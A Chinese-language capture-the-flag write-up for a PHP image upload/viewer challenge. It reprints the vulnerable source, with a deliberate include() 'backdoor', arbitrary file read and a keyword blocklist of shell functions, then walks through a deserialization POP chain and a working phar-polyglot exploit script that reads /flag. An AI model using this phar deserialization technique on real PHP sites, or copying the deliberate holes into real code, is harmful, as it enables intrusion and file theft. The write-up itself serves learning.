Ez to getflag
一共两个页面,一个是图片查看,另一个是图片上传
对图片上传口测试了几次,只能上传png文件,而且对文件内容有奇怪的过滤,不知道是怎么检测的
在对图片查看口进行测试时,发现这里存在一个任意文件读取漏洞,可以直接获得网页源码
upload.php
<?php
error_reporting(0);
session_start();
require_once('class.php');
$upload = new Upload();
$upload->uploadfile();
?>
class.php
<?php
class Upload {
public $f;
public $fname;
public $fsize;
function __construct(){
$this->f = $_FILES;
}
function savefile() {
$fname = md5($this->f["file"]["name"]).".png";
if(file_exists('./upload/'.$fname)) {
@unlink('./upload/'.$fname);
}
move_uploaded_file($this->f["file"]["tmp_name"],"upload/" . $fname);
echo "upload success! :D";
}
function __toString(){
$cont = $this->fname;
$size = $this->fsize;
echo $cont->$size;
return 'this_is_upload';
}
function uploadfile() {
if($this->file_check()) {
$this->savefile();
}
}
function file_check() {
$allowed_types = array("png");
$temp = explode(".",$this->f["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
echo "what are you uploaded? :0";
return false;
}
else{
if(in_array($extension,$allowed_types)) {
$filter = '/<\?php|php|exec|passthru|popen|proc_open|shell_exec|system|phpinfo|assert|chroot|getcwd|scandir|delete|rmdir|rename|chgrp|chmod|chown|copy|mkdir|file|file_get_contents|fputs|fwrite|dir/i';
$f = file_get_contents($this->f["file"]["tmp_name"]);
if(preg_match_all($filter,$f)){
echo 'what are you doing!! :C';
return false;
}
return true;
}
else {
echo 'png onlyyy! XP';
return false;
}
}
}
}
class Show{
public $source;
public function __construct($fname)
{
$this->source = $fname;
}
public function show()
{
if(preg_match('/http|https|file:|php:|gopher|dict|\.\./i',$this->source)) {
die('illegal fname :P');
} else {
echo file_get_contents($this->source);
$src = "data:jpg;base64,".base64_encode(file_get_contents($this->source));
echo "<img src={$src} />";
}
}
function __get($name)
{
$this->ok($name);
}
public function __call($name, $arguments)
{
if(end($arguments)=='phpinfo'){
phpinfo();
}else{
$this->backdoor(end($arguments));
}
return $name;
}
public function backdoor($door){
include($door);
echo "hacked!!";
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
die("illegal fname XD");
}
}
}
class Test{
public $str;
public function __construct(){
$this->str="It's works";
}
public function __destruct()
{
echo $this->str;
}
}
?>
file.php
<?php
error_reporting(0);
session_start();
require_once('class.php');
$filename = $_GET['f'];
$show = new Show($filename);
$show->show();
?>
看到class.php里有那么多可爱的魔术方法,或许从这里起手尝试用反序列化进行操作会是一个不错的做题入手点。
class Show{
public $source;
public function __construct($fname)
{
$this->source = $fname;
}
function __get($name)
{
$this->ok($name);
}
public function __call($name, $arguments)
{
if(end($arguments)=='phpinfo'){
phpinfo();
}else{
$this->backdoor(end($arguments));
}
return $name;
}
public function backdoor($door){
include($door);
echo "hacked!!";
}
}
首先我们注意到class show中存在一个方法function backdoor($door),这个方法存在include($door)功能,可以实现对文件的包含,如果我们能够控制该方法的参数,就能实现任意文件包含以实现任意文件读取,因此我们不妨把重点放在这里,思考如何调用这个方法。
方法function __call($name, $arguments)里当end($arguments)==’phpinfo’不成立时,会调用backdoor()方法,我们知道_call是一个魔术方法,是在对象中调用一个不可访问方法时调用的,往上看function __get($name)中调用了$this->ok($name),而这个ok()函数显然是一个不可访问的方法,既没有在代码中出现,也不是php原有的方法,因此只要调用function __get($name)即可调用ok()进而调用_call,现在我们整理一下我们 pop链的思路:
????::??()
↓↓↓
Show::__get()
↓↓↓
Show::__call()
↓↓↓
Show::backdoor()
那么如何调用__get()呢,我们知道__get()也是一个魔术方法,当从不可访问的属性中读取数据会触发,这个方法其实挺好触发的,比如某个方法下存在$this->str->source,我们只要给该类中的元素str赋值为一个不存在source元素的类的对象即可自动调用。继续浏览其他类和方法,全部看完也只发现class Upload下存在__toString()存在类似结构(怎么我感觉每次做题都是用__toString调用__get())
function __toString(){
$cont = $this->fname;
$size = $this->fsize;
echo $cont->$size;
return 'this_is_upload';
}
这个方法存在一个赋值操作$this->fname->$this->fsize,因此,我们可以把$this->fsize赋值为想要包含的文件的文件名,然后把this->fname赋值为class Show,因为class Show不存在该文件名,所以将调用Show::__get方法。现在只要调用__toString()就皆大欢喜了,熟悉ctf的都知道这个也是个魔术方法,当类的对象被当作字符串操作时调用,比如某个方法存在
echo $this->str
只要我们把$this->str赋值为一个类,这样就会直接调用__String(),我们现在看到class Test
class Test{
public $str;
public function __construct(){
$this->str="It's works";
}
public function __destruct()
{
echo $this->str;
}
}
只要将$this->str赋值为Upload类,这样会触发Upload::__tostring方法了。
反序列化脚本:
<?php
class Upload{
public $fname;
public $fsize;
}
class Show{
public $source;
}
class Test{
public $str;
}
$t = new Test();
$t->str = new Upload();
$t->str->fname = new Show();
$t->str->fsize = '/flag';
// $poc = serialize($t);
// print($poc);
然后把这个反序列化脚本上传上去就完事了吗?显然不对。
首先,我们上传的文件成功上传后都会被改成png结尾,这就意味着我们写的php代码就完全没法激活。
其次,文件上传之后在存储到upload目录之前调用file_check进行了过滤,并且对文件内容进行了检查:
$filter = '/<\?php|php|exec|passthru|popen|proc_open|shell_exec|system|phpinfo|assert|chroot|getcwd|scandir|delete|rmdir|rename|chgrp|chmod|chown|copy|mkdir|file|file_get_contents|fputs|fwrite|dir/i';
文件内容如果含有php直接就被过滤了,怎么可能还能上传上去呢?所以反序列化这一步对是对的,但还需要后续的操作让他起效。
方法一:直接读取/flag
我们回看代码,其实源码中对于读取文件的限制根本没多少,主要是查询接口有WAF 不能用..
读取上层文件,但并不阻止我们读取下层文件,所以我们直接读取/flag,是可行的
这也应该是当时比赛时做这个题得分人数最多的解题方法,毕竟这其实也只是个签到题,用反序列化还是有点不太友好了,因此直接读取源码发现没限制,然后读取/flag难度算是适合签到题的难度。不过这种方法是由局限性的,file_get_contents如果权限不够可能就读取不了了。
方法二:用phar伪协议实现任意文件读取
我的博客里之前应该已经提到过phar,phar是一个很神奇的东西,phar格式的文件即便是后缀被修改了,使用phar://这个伪协议读取,还是会按照phar的内容来解析的,甚至是用gzip压缩phar文件,修改后缀上传,也会自动解压一层并且按照phar内容来解析。因此我们完全可以生成一个phar文件,将他用gzip压缩,隐藏文件特征后将它上传上去,然后再用phar伪协议读取该文件激活pop链读取任意文件。
EXP:
<?php
class Upload{
public $fname;
public $fsize;
}
class Show{
public $source;
}
class Test{
public $str;
}
$t = new Test();
$t->str = new Upload();
$t->str->fname = new Show();
$t->str->fsize = '/flag';
// $poc = serialize($t);
$phar = new Phar('poc.phar');
$phar->stopBuffering();
$phar->setStub('GIF89a' . '<?php __HALT_COMPILER();?>');
$phar->addFromString('test.txt', 'test');
$phar->setMetadata($t);
$phar->stopBuffering();
// print($poc);
将生成的poc.phar用gzip压缩,然后将该文件重命名为poc.png并上传。
因为我们的文件上传后被重命名了,所以写个脚本看看重命名后的名字:
from hashlib import md5
a=md5('poc.png'.encode('utf-8')).hexdigest()+'.png';
print(a);
#23f1a0f70f076b42b5b49f24ee28f696.png
在搜索框输入:
phar://./upload/23f1a0f70f076b42b5b49f24ee28f696.png
方法三:Phar文件反序列化、文件上传条件竞争、session文件包含
这种方法就是预期解,难度很大,估计比赛里也没多少人是用这种方法做出来的。